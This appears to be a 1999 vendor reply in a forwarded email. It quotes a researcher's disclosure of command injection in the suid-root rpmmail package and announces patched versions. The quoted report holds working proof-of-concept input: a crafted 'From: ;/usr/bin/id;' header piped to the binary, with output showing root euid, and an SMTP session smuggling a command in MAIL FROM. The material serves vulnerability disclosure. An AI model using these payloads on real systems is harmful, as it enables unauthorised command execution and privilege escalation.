This is a multi-part message in MIME format. ------NetAddressPart-00--=_FqeQ6208S12288130fc Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=3D= 1 ------NetAddressPart-00--=_FqeQ6208S12288130fc Content-Type: message/rfc822; name="Forwarded Message" Content-Transfer-Encoding: 7bit Content-Disposition: inline Received: from smtp7.atl.mindspring.net [207.69.128.51] by nm195 via mtad (2.6) with ESMTP id 831DJFoYu0173M19; Wed, 06 Oct 1999 14:50:20 GMT Received: from brian (user-2ivf8f4.dialup.mindspring.com [165.247.161.228]) by smtp7.atl.mindspring.net (8.8.5/8.8.5) with SMTP id KAA16515 for <btellierat_private>; Wed, 6 Oct 1999 10:50:13 -0400 (EDT) Message-Id: <3.0.5.32.19991006105034.007c4100at_private> X-Sender: bkgoldat_private (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Wed, 06 Oct 1999 10:50:34 -0400 To: Brock Tellier <btellierat_private> From: Brian Gold <bgoldat_private> Subject: Re: RH6.0 local/remote command execution In-Reply-To: <3.0.5.32.19991005161929.00937100at_private> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Hi Brock, Thanks for pointing out the vulnerability problem with our rpmmail package. We have fixed this problem and posted new versions on our FTP site. (below) If you get a chance please put this version thru your testing process. We are grateful to people like you who help us in our on going effort to produce quality, bug free software. ftp://reedycreek.com/reedycreek/rpmmaildemo/rpmmail-1.4.tar.gz or ftp://reedycreek.com/reedycreek/rpmmaildemo/rpmmail-1.4-2.i386.rpm At 04:19 PM 10/5/99 -0400, you wrote: >Greetings, > >A vulnerability exists in the rpmmail package distributed on the Red Hat 6.0 >Extra Applications CD. The potential compromise for this bug could be remote >or local root or simply remote command execution as "nobody" or similar, >depending on your system configuration. > >By sending a carefully crafted mail message to rpmmail@vulnerablehost, you can > get /home/rpmmail/rpmmail (suid root by default, exec'd by .forward remotely) > to system(3) any command you wish. The command executed does not necessarily >have root privs because of bash's handling of euid != uid of caller. Although >system(3) calls /bin/sh -c, it is linked by default (can anyone verify >these?) on some Linux systems, such as SuSE 6.2, to /bin/bash v2. From the >system(3) man page: > > system() will not, in fact, work properly from programs > with suid or sgid privileges on systems on which > /bin/sh is bash version 2, since bash 2 drops privileges > on startup. (Debian uses a modified bash which does not > do this when invoked as sh.) > >Thus some systems with rpmmail installed are vulnerable to local/remote root, >all others to remote command execution as an unpriv'd user. > >The local exploit as follows: > >/bin/sh is linked to /bin/bash (default SuSE 6.2 behavior: >bash-2.03$ ls -la /bin/sh >lrwxrwxrwx 1 root root 9 Oct 5 11:27 /bin/sh -> /bin/bash >bash-2.03$ cat /etc/SuSE-release;uname -a;id >SuSE Linux 6.2 (i386) >VERSION = 6.2 >Linux fear62 2.2.10 #1 Tue Jul 20 16:32:24 MEST 1999 i686 unknown >uid=100(xnec) gid=100(users) groups=100(users) >bash-2.03$ echo "From: ;/usr/bin/id;" | /home/rpmmail/rpmmail -c bah >Could not open config file! >sh: Y: command not found >uid=100(xnec) gid=100(users) groups=100(users) >Could not open acknowledge file! >bash-2.03$ > >---- > >After linking /bin/sh to /bin/ksh instead: > >bash-2.03$ ls -la /bin/sh >lrwxrwxrwx 1 root root 8 Oct 5 11:09 /bin/sh -> /bin/ksh >bash-2.03$ cat /etc/SuSE-release;uname -a;id >SuSE Linux 6.2 (i386) >VERSION = 6.2 >Linux fear62 2.2.10 #1 Tue Jul 20 16:32:24 MEST 1999 i686 unknown >uid=100(xnec) gid=100(users) groups=100(users) >bash-2.03$ echo "From: ;/usr/bin/id;" | /home/rpmmail/rpmmail -c bah >Could not open config file! >sh: Y: not found >uid=100(xnec) gid=100(users) euid=0(root) egid=0(root) groups=100(users) >Could not open acknowledge file! >bash-2.03$ > > > >The remote exploit is merely: >bash-2.03$ telnet localhost 25 >Trying 127.0.0.1... >Connected to localhost. >Escape character is '^]'. >220 fear62 Smail-3.2 (#1 1999-Jul-23) ready at Tue, 5 Oct 1999 11:31:13 -0500 >(CDT) >MAIL FROM: ;/command/to/execute; >250 <;/command/to/execute;> ... Sender Okay >RCPT TO: rpmmail >250 <rpmmail> ... Recipient Okay >data >354 Enter mail, end with "." on a line by itself > > > Brian Gold Reedy Creek Technologies, Inc. Voice: (919) 934-6869 Ext. 124 Fax: (919) 934-1537 bgoldat_private http://www.reedycreek.com/ ------NetAddressPart-00--=_FqeQ6208S12288130fc--
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